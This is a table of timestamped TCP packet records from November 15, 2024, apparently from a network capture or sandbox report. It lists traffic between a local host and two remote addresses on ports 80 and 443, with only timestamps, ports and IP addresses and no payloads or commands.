Nov 15, 2024 19:39:37.316174030 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316185951 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316196918 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316207886 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316219091 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316227913 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.316234112 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316236019 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.316241026 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316245079 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316289902 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.316572905 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316586018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316596985 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316608906 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.316647053 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.316658974 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.337701082 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.381252050 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.381433964 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.381812096 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.381812096 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.381812096 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.385173082 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.385205030 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.385387897 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.385597944 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.385611057 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.613477945 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.613511086 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.691618919 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.691658020 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.789791107 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.790493011 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.790504932 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.791013002 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.791019917 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.951455116 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.951482058 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.951528072 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.951541901 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.951617002 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.955059052 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.955085993 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.955096006 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.955101013 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.024617910 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.025024891 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.026220083 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.026242018 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.026618958 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.026623964 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.026833057 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.026858091 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.027158022 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.027163029 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.053407907 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.053463936 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.053550005 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.053692102 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.053709984 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.079212904 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.081408978 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.081418991 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.081765890 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.081769943 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.121690035 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.152532101 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.152702093 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.152822018 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.153062105 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.153983116 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.154108047 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.161555052 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.161569118 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.162071943 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.162076950 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.163952112 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.163969994 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.163980961 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.163985968 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.171336889 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.171336889 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.171356916 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.171367884 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.211955070 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.212007999 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.212073088 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.217806101 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.217806101 CET	49829	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.217820883 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.217828989 CET	443	49829	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.227921963 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.228020906 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.228111029 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.231478930 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.231508970 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.231560946 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.238261938 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.238289118 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.238358974 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.238476992 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.238512993 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.241573095 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.241586924 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.248064041 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.248090982 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.287261963 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.287374020 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.287435055 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.287461042 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.287494898 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.287544966 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.387700081 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.387729883 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.387741089 CET	49830	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.387748003 CET	443	49830	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.391297102 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.391331911 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.391397953 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.391545057 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.391558886 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.777888060 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.832747936 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.874646902 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.874660015 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.875091076 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:38.875096083 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.977339983 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.977650881 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:38.978879929 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.000561953 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.000679970 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.000740051 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.019807100 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.019807100 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.019876957 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.022638083 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.022665977 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.023017883 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.023031950 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.023185968 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.023196936 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.023446083 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.023451090 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.023817062 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.023828983 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.024180889 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.024192095 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.024383068 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.024406910 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.024419069 CET	49831	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.024424076 CET	443	49831	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.027393103 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.027441978 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.027503014 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.027596951 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.027610064 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.128192902 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.134176016 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.134197950 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.134607077 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.134612083 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.148782969 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.148824930 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.148884058 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.149029970 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.149029970 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.149136066 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.149136066 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.149183035 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.149185896 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.149214983 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.149386883 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.149451971 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.149492025 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.149492979 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.149507999 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.149527073 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.150744915 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.150820971 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.150871992 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.150954962 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.150970936 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.150979996 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.150984049 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.176899910 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.176914930 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.176980019 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.177928925 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.178021908 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.178081989 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.178497076 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.178514004 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.178774118 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.178806067 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.179531097 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.179547071 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.179691076 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.179691076 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.179716110 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.260257006 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.260831118 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.260891914 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.271471977 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.271492004 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.271502018 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.271511078 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.288352013 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.288387060 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.288441896 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.289057016 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.289072037 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.765604973 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.766208887 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.766239882 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.766907930 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.766964912 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.916074991 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.916768074 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.916831017 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.916852951 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.917217016 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.917232037 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.917483091 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.917501926 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.917804956 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.917810917 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.923398972 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.923723936 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.923743010 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.924118996 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.924129963 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.979487896 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.979510069 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.979551077 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.979590893 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.979635000 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.979893923 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.979911089 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.979921103 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.979927063 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.983198881 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.983294964 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:39.983416080 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.983715057 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:39.983797073 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.023596048 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.027688026 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.027717113 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.027961016 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.027966022 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.072199106 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.072269917 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.072334051 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.074635029 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.074712038 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.074793100 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.074861050 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.074899912 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.074958086 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.077061892 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.077223063 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.077279091 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.081367970 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.081389904 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.081403017 CET	49839	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.081409931 CET	443	49839	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.081556082 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.081588030 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.081628084 CET	49838	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.081644058 CET	443	49838	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.083926916 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.083935022 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.083945990 CET	49837	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.083950043 CET	443	49837	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.086793900 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.086891890 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.086941957 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.086991072 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.086993933 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.087039948 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.087121964 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.087158918 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.087193966 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.087210894 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.087337971 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.087359905 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.087409019 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.087470055 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.087483883 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.154272079 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.154342890 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.154402971 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.154427052 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.154464006 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.154512882 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.154639959 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.154654026 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.154663086 CET	49840	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.154668093 CET	443	49840	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.157455921 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.157546043 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.157644987 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.157813072 CET	49845	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.157849073 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.728086948 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.729100943 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.729163885 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.729862928 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.729877949 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.817718029 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.818278074 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.818305016 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.818892956 CET	49844	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.818898916 CET	443	49844	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.829689980 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.830257893 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.830276966 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.830961943 CET	49843	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.830972910 CET	443	49843	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.836674929 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.837052107 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.837078094 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.837450981 CET	49842	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.837457895 CET	443	49842	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.872507095 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.884438038 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.884520054 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.884579897 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.884618044 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.884644985 CET	49841	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.884660006 CET	443	49841	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.887300968 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.887397051 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.887473106 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.887583017 CET	49846	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:40.887612104 CET	443	49846	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.913192034 CET	443	49845	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:40.913781881 CET	49845	443	192.168.2.7	13.107.246.45
